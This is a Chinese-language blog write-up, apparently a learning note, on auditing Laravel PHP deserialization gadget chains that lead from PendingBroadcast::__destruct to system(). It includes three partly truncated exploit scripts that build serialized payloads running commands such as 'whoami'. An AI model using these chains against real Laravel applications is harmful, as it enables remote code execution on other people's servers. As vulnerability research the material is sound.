依然是找到_destruct函数,这里我们依然先从54漏洞的位置来分析:
再寻找_call函数之前,先梳理一下我们通过_call方法的思路:
首先events变量是要去实例化一个类,而且这个类中不存在dispatch方法或者可以被我们RCE,RCE这种情况概率不大基本可以忽略,其次dispatch应该是一个可控的数组,我们通过这个可控的数组传入system命令,然后event就是我们的cmd
思路清楚了,再来开始审计把:
寻找_call方法:
同样还是找到了laravel54的入口点,继续进去看看行不行:
查看变量是否可控:
formatters依然可控:
这里有一点要说明一下,前面5.4的时候说的不是很清楚:
仔细看一下手册就知道system了:
因此我们可以传入一个数组进来
但是这里又遇到一个问题,上一篇写laravel54的时候忽略了这个问题:
$argument=array();经过处理后,到底是什么样的?
很显然,本身的值就是一个Array,那么这里如何执行我们的cmd呢?
这里写个代码自己测试一下就知道了
还是自己的基础知识不够扎实啊,这个地方绕了还是挺久的了。
上述代码经过各种编写,自己又进一步了解到php里面传参,控制变量等等,总结成如下:
只要不同方法里面,需要传参的个数是一样的,就可以一直把方法控制下去,如果遇到需要传入参数个数不一样,然后这个方法的类里面又没有定义这个参数,就无法控制,既然这些都已经了解了,那么就不再继续讲解这个链了,前面一篇文章讲解过。
这里_call方法我们从Illuminate\Validation\Validator入手:主要代码如下,已经删除无关代码,可以清楚看清楚如何调用,不用自己一步一步去切换
阐述一下整个流程:
_call–>if语句–>callExtension–>is_callable–>call_user_func_array
调用的难点:
$rule 经过snake方法改变了传进去methoed值
调用call_user_func方法就要通过is_callable
整理一下思路:
$rule通过substr从第八个字符开始截取,snake存在字符串替换,大小写转换等等,那么如果让传入的value等于空,返回值也会是空,那么这里$rule的值可控,并且是空(没有具体去看如果传入字符串会被怎么变形,但是这里很显然传入空,是不会做变形的)
再来看第二个难点is_callable:
首先extensions是一个protected的数组,我们可控,rule的值是空,那么序号1我们可控进入然后调用callExtension,这里把extensions数组rule对应的键值赋给callback,进入最后一个is_callable的判断,那就了解一下is_callable,
判断$name能否作为可用的函数去调用,因为后面使用了call_usr_func_arry,以免报错,那么这里我们直接传内置函数system不就好了
综上:这个链子我们需要操作的地方就只有一个:
extensions = [’’ => $function];
其他地方实例化即可。
给出EXP:
events =$events;
$this->event=$event;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions = [''=>'system'];
}
}
namespace{
$b = new Illuminate\Validation\Validator();
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir');
echo urlencode(serialize($a));
}
首先找到一个_call方法作为入口,这里找到的是:Illuminate\Support\Manager这个类中的,跟踪结果如下:
再该类中找不到getDefaultDriver()方法,注意前面是abstract声明,表名这是一个接口,我们可以从其他类里面去实例化
然后开始寻找getDefaultDriver方法:Illuminate\Notifications\ChannelManager找到一个
并且参数可控:
这样一来,通过这个函数我们就可以控制$driver参数的值:
现在参数值也可控了,但是没有可以进行命令执行的点,继续看一下creatDriver这个方法,看看能否有突破口,
跟踪一下:
可以看到creatDriver方法里面基本上都是if语句,那么看看能不能有所突破
发现一个可以RCE的形式:
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);
}
到这里 总结一下:因为driver的值可控,customCreators这个数组可控–>可以进入function callCustomCreator,而且又因为this–>app的可控,所以这样一来: return->customCreators[driver]($this->app)的所有参数我们都可以控,实现RCE
整个流程图如下:
EXP:
events = $events;
}
}
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->app = $parameter;
$this->customCreators = ['nice' => $function];
$this->defaultChannel = 'nice';
}
}
}
namespace{
$b = new Illuminate\Notifications\ChannelManager('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b);
echo base64_encode(serialize($a));
}
这一条链子比较直接,也比较简单,我直接放流程图分析:
寻找RCE的地方,然后逆推回来。
这里RCE的方式是,listener(event,playload);
看一下$event是否可控
list函数这里不影响$events的取值,我们传入的events就是我们要执行的命令(dir,记住这里的dir 后面有用);
再来看一下$listenners的值能不能可控:
一图了然,几个需要注意的地方,返回listeners的值是数组listenner[eventName]的值,这里可控,注意,这里的eventName的值就是我们传进来的event,即dir,就变成了listenner=[‘dir’=>‘system’],这样就可以成功取到system
POC:
events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo urlencode(serialize($a));
}
寻找链子一定要有耐心,寻找可以RCE的点,再去寻找参数是否可控。
对于很多无关的代码,可以调试看看是什么意思,也可以不调试,直接理解函数意思,初次审计代码很多方法很多传变量是否覆盖这些都存在很大问题,审计完两个框架之后就会好很多。
上面的链子是参考Firebasky师傅的文章